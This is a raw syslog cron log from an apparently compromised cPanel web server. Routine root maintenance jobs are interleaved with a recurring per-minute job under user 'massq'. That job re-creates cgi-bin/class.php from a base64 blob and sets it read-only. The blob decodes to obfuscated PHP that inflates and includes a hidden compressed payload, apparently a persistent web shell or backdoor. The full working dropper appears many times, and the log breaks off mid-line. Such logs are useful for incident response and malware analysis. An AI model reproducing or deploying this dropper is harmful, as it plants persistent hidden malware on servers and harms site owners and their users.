Sep  3 10:05:01 server CROND[12952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:05:01 server CROND[12958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:05:01 server CROND[12968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:05:01 server CROND[12969]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 10:05:01 server CROND[12973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:05:01 server CROND[12970]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:05:01 server CROND[12971]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 10:06:01 server CROND[13889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:06:01 server CROND[13890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:06:01 server CROND[13891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:07:01 server CROND[14291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:07:01 server CROND[14292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:07:01 server CROND[14293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:08:01 server CROND[14675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:08:01 server CROND[14678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:08:01 server CROND[14677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:09:01 server CROND[15066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:09:01 server CROND[15067]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 10:09:01 server CROND[15069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:09:01 server CROND[15068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:10:01 server CROND[15490]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 10:10:01 server CROND[15491]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:10:01 server CROND[15496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:10:01 server CROND[15499]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 10:10:01 server CROND[15500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:10:01 server CROND[15501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:10:01 server CROND[15503]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 10:10:01 server CROND[15502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:11:01 server CROND[16440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:11:01 server CROND[16442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:11:01 server CROND[16443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:12:01 server CROND[16889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:12:01 server CROND[16890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:12:01 server CROND[16891]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 10:12:01 server CROND[16892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:13:01 server CROND[17298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:13:01 server CROND[17299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:13:01 server CROND[17300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:14:01 server CROND[17697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:14:01 server CROND[17699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:14:01 server CROND[17698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:15:01 server CROND[18106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:15:01 server CROND[18108]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:15:01 server CROND[18110]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:15:01 server CROND[18114]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 10:15:01 server CROND[18115]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 10:15:01 server CROND[18117]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 10:15:01 server CROND[18111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:15:01 server CROND[18113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:15:01 server CROND[18112]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 10:16:01 server CROND[19057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:16:01 server CROND[19058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:16:01 server CROND[19060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwF